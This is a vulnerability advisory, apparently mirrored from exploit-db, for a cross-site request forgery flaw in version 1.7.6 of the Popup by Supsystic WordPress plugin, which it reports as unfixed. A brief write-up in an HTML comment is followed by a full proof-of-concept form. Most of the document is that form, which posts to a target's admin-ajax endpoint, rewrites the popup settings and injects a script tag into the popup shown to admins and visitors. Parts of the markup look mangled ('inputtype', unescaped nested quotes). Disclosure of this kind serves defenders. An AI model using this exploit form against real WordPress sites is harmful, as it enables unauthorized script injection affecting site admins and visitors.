<!--
Source: https://sumofpwn.nl/advisory/2016/popup_by_supsystic_wordpress_plugin_vulnerable_to_cross_site_request_forgery.html
Abstract
A Cross-site Request Forgery vulnerablity exists in the Popup by Supsystic WordPress Plugin. This vulnerablity allows attackers to add and modify scripting code that will target authenticated WordPress admins or visitors that see the popup generated by this plugin. Before exploitation of this issue succeeds,and scripting code is therefore injected, a victim WordPress admin to click a specially crafted link or visit a malicious attacker-controlled webpage.
Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE ID
OVE-20160724-0013
Tested versions
This issue was succesfully tested on the Popup by Supsystic WordPress plugin version 1.7.6.
Fix
There is currently no fix available.
Introduction
The aim of the Popup by Supsystic WordPress plugin is to help you get more newsletter subscribers, promote new products, deliver special offers and to get more social followers.
A Cross-site Request Forgery vulnerablity exists in the Popup by Supsystic WordPress Plugin. This vulnerablity allows attackers to add and modify scripting code that will target authenticated admins or visitors that see the popup generated by this plugin. In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement).
Details
This issue exists because Popup by Supsystic lacks protection against Cross-Site Request Forgery attacks. The following proof of concept code demonstrates this issue:--><html><body><form action="http://<target>/wp-admin/admin-ajax.php" method="POST"><inputtype="hidden" name="params[main][show_on]" value="page_load"/><inputtype="hidden" name="params[main][show_on_page_load_delay]" value=""/><inputtype="hidden" name="ppsCopyTextCode" value="[supsystic-show-popup id=100]"/><inputtype="hidden" name="ppsCopyTextCode" value="onclick="ppsShowPopup(100);return false;""/><inputtype="hidden" name="ppsCopyTextCode" value="#ppsShowPopUp_100"/><inputtype="hidden" name="params[main][show_on_click_on_el_delay]" value="0"/><inputtype="hidden" name="params[main][show_on_scroll_window_delay]" value="0"/><inputtype="hidden" name="params[main][show_on_scroll_window_perc_scroll]" value="0"/><inputtype="hidden" name="ppsCopyTextCode" value="#ppsShowPopUp_100"/><inputtype="hidden" name="params[main][show_on_link_follow_delay]" value="0"/><inputtype="hidden" name="ppsCopyTextCode" value="[supsystic-popup-content id=100]"/><inputtype="hidden" name="params[main][close_on]" value="user_close"/><inputtype="hidden" name="params[main][show_pages]" value="all"/><inputtype="hidden" name="params[main][show_time_from]" value="12:00am"/><inputtype="hidden" name="params[main][show_time_to]" value="12:00am"/><inputtype="hidden" name="params[main][show_date_from]" value=""/><inputtype="hidden" name="params[main][show_date_to]" value=""/><inputtype="hidden" name="params[main][show_to]" value="everyone"/><inputtype="hidden" name="params[main][show_to_first_time_visit_days]" value="30"/><inputtype="hidden" name="params[main][show_to_until_make_action_days]" value="30"/><inputtype="hidden" name="params[main][count_times_num]" value="1"/><inputtype="hidden" name="params[main][count_times_mes]" value="day"/><inputtype="hidden" name="params[main][hide_for_devices_show]" value="0"/><inputtype="hidden" name="params[main][hide_for_post_types_show]" value="0"/><inputtype="hidden" name="params[main][hide_for_ips_show]" value="0"/><inputtype="hidden" name="params[main][hide_for_ips]" value=""/><inputtype="hidden" name="params[main][hide_for_countries_show]" value="0"/><inputtype="hidden" name="params[main][hide_for_languages_show]" value="0"/><inputtype="hidden" name="params[main][hide_search_engines_show]" value="0"/><inputtype="hidden" name="params[main][hide_preg_url_show]" value="0"/><inputtype="hidden" name="params[main][hide_preg_url]" value=""/><inputtype="hidden" name="params[main][hide_for_user_roles_show]" value="0"/><inputtype="hidden" name="params[tpl][width]" value="400"/><inputtype="hidden" name="params[tpl][width_measure]" value="px"/><inputtype="hidden" name="params[tpl][bg_overlay_opacity]" value="0.5"/><inputtype="hidden" name="params[tpl][bg_type_0]" value="color"/><inputtype="hidden" name="params[tpl][bg_img_0]" value=""/><inputtype="hidden" name="params[tpl][bg_color_0]" value="#8c7764"/><inputtype="hidden" name="params[tpl][bg_type_1]" value="color"/><inputtype="hidden" name="params[tpl][bg_img_1]" value=""/><inputtype="hidden" name="params[tpl][bg_color_1]" value="#75362c"/><inputtype="hidden" name="params[tpl][font_label]" value="default"/><inputtype="hidden" name="params[tpl][label_font_color]" value="#ffffff"/><inputtype="hidden" name="params[tpl][font_txt_0]" value="default"/><inputtype="hidden" name="params[tpl][text_font_color_0]" value="#f9e6ce"/><inputtype="hidden" name="params[tpl][font_footer]" value="default"/><inputtype="hidden" name="params[tpl][footer_font_color]" value="#585858"/><inputtype="hidden" name="params[tpl][responsive_mode]" value="def"/><inputtype="hidden" name="params[tpl][reidrect_on_close]" value=""/><inputtype="hidden" name="params[tpl][close_btn]" value="while_close"/><inputtype="hidden" name="params[tpl][bullets]" value="lists_green"/><inputtype="hidden" name="layered_style_promo" value="1"/><inputtype="hidden" name="params[tpl][layered_pos]" value=""/><inputtype="hidden" name="params[tpl][enb_label]" value="1"/><inputtype="hidden" name="params[tpl][label]" value="SIGN UP<br> to our Newsletter!"/><inputtype="hidden" name="params[tpl][enb_txt_0]" value="1"/><inputtype="hidden" name="params_tpl_txt_0" value="<p>Popup by Supsystic lets you easily create elegant overlapping windows with unlimited features. Pop-ups with Slider, Lightbox, Contact and Subscription forms and more</p>"/><inputtype="hidden" name="params[tpl][foot_note]" value="We respect your privacy. Your information will not be shared with any third party and you can unsubscribe at any time "/><inputtype="hidden" name="params[tpl][enb_sm_facebook]" value="1"/><inputtype="hidden" name="params[tpl][enb_sm_googleplus]" value="1"/><inputtype="hidden" name="params[tpl][enb_sm_twitter]" value="1"/><inputtype="hidden" name="params[tpl][sm_design]" value="boxy"/><inputtype="hidden" name="params[tpl][anim_key]" value="none"/><inputtype="hidden" name="params[tpl][anim_duration]" value=""/><inputtype="hidden" name="params[tpl][enb_subscribe]" value="1"/><inputtype="hidden" name="params[tpl][sub_dest]" value="wordpress"/><inputtype="hidden" name="params[tpl][sub_wp_create_user_role]" value="subscriber"/><inputtype="hidden" name="params[tpl][sub_aweber_listname]" value=""/><inputtype="hidden" name="params[tpl][sub_aweber_adtracking]" value=""/><inputtype="hidden" name="params[tpl][sub_mailchimp_api_key]" value=""/><inputtype="hidden" name="params[tpl][sub_mailchimp_groups_full]" value=""/><inputtype="hidden" name="test_email" value="canzihazcandy@gmail.com"/><inputtype="hidden" name="params[tpl][sub_fields][name][enb]" value="1"/><inputtype="hidden" name="params[tpl][sub_fields][name][name]" value="name"/><inputtype="hidden" name="params[tpl][sub_fields][name][html]" value="text"/><inputtype="hidden" name="params[tpl][sub_fields][name][label]" value="Name"/><inputtype="hidden" name="params[tpl][sub_fields][name][value]" value=""/><inputtype="hidden" name="params[tpl][sub_fields][name][custom]" value="0"/><inputtype="hidden" name="params[tpl][sub_fields][name][mandatory]" value="0"/><inputtype="hidden" name="params[tpl][sub_fields][email][name]" value="email"/><inputtype="hidden" name="params[tpl][sub_fields][email][html]" value="text"/><inputtype="hidden" name="params[tpl][sub_fields][email][label]" value="E-Mail"/><inputtype="hidden" name="params[tpl][sub_fields][email][value]" value=""/><inputtype="hidden" name="params[tpl][sub_fields][email][custom]" value="0"/><inputtype="hidden" name="params[tpl][sub_fields][email][mandatory]" value="1"/><inputtype="hidden" name="params[tpl][sub_fields][email][enb]" value="1"/><inputtype="hidden" name="params[tpl][sub_txt_confirm_sent]" value="Confirmation link was sent to your email address. Check your email!"/><inputtype="hidden" name="params[tpl][sub_txt_success]" value="Thank you for subscribe!"/><inputtype="hidden" name="params[tpl][sub_txt_invalid_email]" value="Empty or invalid email"/><inputtype="hidden" name="params[tpl][sub_txt_exists_email]" value="Empty or invalid email"/><inputtype="hidden" name="params[tpl][sub_redirect_url]" value=""/><inputtype="hidden" name="params[tpl][sub_txt_confirm_mail_subject]" value="Confirm subscription on [sitename]"/><inputtype="hidden" name="params[tpl][sub_txt_confirm_mail_from]" value="admin@mail.com"/><inputtype="hidden" name="params[tpl][sub_txt_confirm_mail_message]" value="You subscribed on site <a href="https://www.exploit-db.com/exploits/41485/[siteurl]">[sitename]</a>. Follow <a href="https://www.exploit-db.com/exploits/41485/[confirm_link]">this link</a> to complete your subscription. If you did not subscribe here - just ignore this message."/><inputtype="hidden" name="params[tpl][sub_txt_subscriber_mail_subject]" value="[sitename] Your username and password"/><inputtype="hidden" name="params[tpl][sub_txt_subscriber_mail_from]" value="admin@mail.com"/><inputtype="hidden" name="params[tpl][sub_txt_subscriber_mail_message]" value="Username: [user_login]<br />Password: [password]<br />[login_url]"/><inputtype="hidden" name="params[tpl][sub_redirect_email_exists]" value=""/><inputtype="hidden" name="params[tpl][sub_btn_label]" value="SIGN UP"/><inputtype="hidden" name="params[tpl][sub_new_email]" value="admin&@mail.com"/><inputtype="hidden" name="params[tpl][sub_new_subject]" value="New Subscriber on Summer of Pwnage"/><inputtype="hidden" name="params[tpl][sub_new_message]" value="You have new subscriber on your site <a href="https://www.exploit-db.com/exploits/41485/[siteurl]">[sitename]</a>, here us subscriber information:<br />[subscriber_data]"/><inputtype="hidden" name="stat_from_txt" value=""/><inputtype="hidden" name="stat_to_txt" value=""/><inputtype="hidden" name="css" value=""/><inputtype="hidden" name="html" value="<link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Amatic+SC" /> <script>alert("xss")</script> <div id="ppsPopupShell_[ID]" class="ppsPopupShell ppsPopupListsShell"> <a href="https://www.exploit-db.com/exploits/41485/#" class="ppsPopupClose ppsPopupClose_[close_btn]"></a> <div class="ppsInnerTblContent"> <div class="ppsPopupListsInner ppsPopupInner"> [if enb_label] <div class="ppsPopupLabel ppsPopupListsLabel">[label]</div> [endif] <div style="clear: both;"></div> [if enb_txt_0] <div class="ppsPopupTxt ppsPopupClassyTxt ppsPopupClassyTxt_0 ppsPopupTxt_0"> [txt_0] </div> [endif] [if enb_subscribe] <div class="ppsSubscribeShell"> [sub_form_start] [sub_fields_html] <input type="submit" name="submit" value="[sub_btn_label]" /> [sub_form_end] <div style="clear: both;"></div> </div> [endif] <div style="clear: both;"></div> <div class="ppsRightCol"> [if enb_sm] <div style="clear: both;"></div> <div class="ppsSm"> [sm_html] </div> [endif] [if enb_foot_note] <div class="ppsFootNote"> [foot_note] </div> [endif] </div> </div> </div> </div> " /><inputtype="hidden" name="params[opts_attrs][bg_number]" value="2"/><inputtype="hidden" name="params[opts_attrs][txt_block_number]" value="1"/><inputtype="hidden" name="mod" value="popup"/><inputtype="hidden" name="action" value="save"/><inputtype="hidden" name="id" value="100"/><inputtype="hidden" name="params_tpl_txt_val_0" value="<p>Popup by Supsystic lets you easily create elegant overlapping windows with unlimited features. Pop-ups with Slider, Lightbox, Contact and Subscription forms and more</p>"/><inputtype="hidden" name="pl" value="pps"/><inputtype="hidden" name="reqType" value="ajax"/><inputtype="submit"/></form></body></html>